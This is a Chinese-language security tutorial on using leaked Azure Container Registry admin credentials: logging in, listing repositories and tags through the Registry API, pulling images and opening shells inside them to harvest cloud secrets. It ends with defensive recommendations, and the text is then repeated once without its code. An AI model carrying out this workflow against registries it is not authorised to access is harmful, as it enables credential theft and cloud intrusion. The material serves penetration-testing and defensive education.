Azure Container Registries 凭据泄露场景下的利用思路
字数 1071 2025-08-20 18:18:23

Azure Container Registries 凭据泄露场景下的利用思路

1. 概述

Azure Container Registries (ACR) 是 Microsoft 提供的用于管理云上 Docker 镜像的服务。当 ACR 的管理员凭据泄露时,攻击者可以利用这些凭据进行一系列操作,包括访问容器镜像、提取敏感信息,甚至可能提升在 Azure 订阅中的权限。

2. 前提条件

  • 已获取 ACR 管理员账户凭据(用户名/密码格式)
  • 已知 ACR URL(如 exampleacr.azurecr.io)
  • 本地已安装 Docker 和 PowerShell(用于自动化操作)

3. 利用步骤

3.1 登录 ACR

使用 Docker 命令登录到目标 ACR:

docker login -u USER_NAME -p PASSWORD EXAMPLEACR.azurecr.io

3.2 枚举容器信息

3.2.1 列出所有容器

使用 Docker Registry API 列出所有容器:

$username = "EXAMPLEACR"
$password = "A_$uper_g00D_P@ssW0rd"
$registry = "EXAMPLEACR.azurecr.io"

$base64AuthInfo = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(("{0}:{1}" -f $username,$password)))

$uri = "https://$($registry)/v2/_catalog"
$response = Invoke-RestMethod -Uri $uri -Method Get -Headers @{Authorization=("Basic {0}" -f $base64AuthInfo)}
$response.repositories

3.2.2 获取特定容器的版本信息

$imageName = "dockercore"
$uri = "https://$($registry)/v2/$($imageName)/tags/list"
$response = Invoke-RestMethod -Uri $uri -Method Get -Headers @{Authorization=("Basic {0}" -f $base64AuthInfo)}
$response.tags

3.3 拉取容器镜像

使用 Docker 拉取特定容器:

docker pull EXAMPLEACR.azurecr.io/dockercore:1234

3.4 运行容器并获取交互式 Shell

docker run -it --entrypoint /bin/bash EXAMPLEACR.azurecr.io/dockercore:1234

4. 使用 Azure CLI 的替代方法

如果已拥有 Azure 订阅访问权限,可以使用 Azure CLI 命令:

4.1 列出订阅中的注册表

az acr list

4.2 列出特定注册表中的容器

az acr repository list --name netspiACR

4.3 列出容器的版本信息

az acr repository show-tags --name netspiACR --repository ACRtestImage

4.4 通过 Docker 认证

docker login EXAMPLEACR.azurecr.io

5. 实际攻击场景

  1. 发现公开的 Azure 存储账户,其中包含 ACR 管理员凭据的 Terraform 脚本
  2. 使用 Docker 连接到 ACR
  3. 列出容器名称和版本信息
  4. 提取容器镜像
  5. 在每个容器上运行 shell 并检查文件
  6. 可能发现:
    • Azure 订阅的存储密钥
    • Key Vault 凭据
    • 其他服务主体凭据

6. 防御建议

  1. 禁用管理员账户:默认情况下 ACR 管理员账户是禁用的,保持此状态
  2. 网络限制:对于高级 SKU,限制 ACR 对特定网络的访问
  3. 权限控制:注意 ACR 的读权限,因为它允许列出和提取任何容器
  4. 凭据保护:避免将 ACR 凭据存储在代码仓库或配置文件中
  5. 定期轮换:定期更换 ACR 凭据

7. 自动化工具

MicroBurst 工具中的 GET-AzACR 函数可以自动化上述过程:

Get-AzACR -username EXAMPLEACR -password A_$uper_g00D_P@ssW0rd -registry EXAMPLEACR.azurecr.io

使用 -all 参数获取所有容器的完整版本信息。

8. 总结

ACR 凭据泄露可能导致严重的安全问题,攻击者可以:

  • 访问和下载私有容器镜像
  • 从容器中提取敏感信息
  • 可能获取 Azure 订阅中的其他凭据

组织应实施适当的访问控制和监控措施来保护 ACR 资源。

Azure Container Registries 凭据泄露场景下的利用思路 1. 概述 Azure Container Registries (ACR) 是 Microsoft 提供的用于管理云上 Docker 镜像的服务。当 ACR 的管理员凭据泄露时,攻击者可以利用这些凭据进行一系列操作,包括访问容器镜像、提取敏感信息,甚至可能提升在 Azure 订阅中的权限。 2. 前提条件 已获取 ACR 管理员账户凭据(用户名/密码格式) 已知 ACR URL(如 exampleacr.azurecr.io) 本地已安装 Docker 和 PowerShell(用于自动化操作) 3. 利用步骤 3.1 登录 ACR 使用 Docker 命令登录到目标 ACR: 3.2 枚举容器信息 3.2.1 列出所有容器 使用 Docker Registry API 列出所有容器: 3.2.2 获取特定容器的版本信息 3.3 拉取容器镜像 使用 Docker 拉取特定容器: 3.4 运行容器并获取交互式 Shell 4. 使用 Azure CLI 的替代方法 如果已拥有 Azure 订阅访问权限,可以使用 Azure CLI 命令: 4.1 列出订阅中的注册表 4.2 列出特定注册表中的容器 4.3 列出容器的版本信息 4.4 通过 Docker 认证 5. 实际攻击场景 发现公开的 Azure 存储账户,其中包含 ACR 管理员凭据的 Terraform 脚本 使用 Docker 连接到 ACR 列出容器名称和版本信息 提取容器镜像 在每个容器上运行 shell 并检查文件 可能发现: Azure 订阅的存储密钥 Key Vault 凭据 其他服务主体凭据 6. 防御建议 禁用管理员账户 :默认情况下 ACR 管理员账户是禁用的,保持此状态 网络限制 :对于高级 SKU,限制 ACR 对特定网络的访问 权限控制 :注意 ACR 的读权限,因为它允许列出和提取任何容器 凭据保护 :避免将 ACR 凭据存储在代码仓库或配置文件中 定期轮换 :定期更换 ACR 凭据 7. 自动化工具 MicroBurst 工具中的 GET-AzACR 函数可以自动化上述过程: 使用 -all 参数获取所有容器的完整版本信息。 8. 总结 ACR 凭据泄露可能导致严重的安全问题,攻击者可以: 访问和下载私有容器镜像 从容器中提取敏感信息 可能获取 Azure 订阅中的其他凭据 组织应实施适当的访问控制和监控措施来保护 ACR 资源。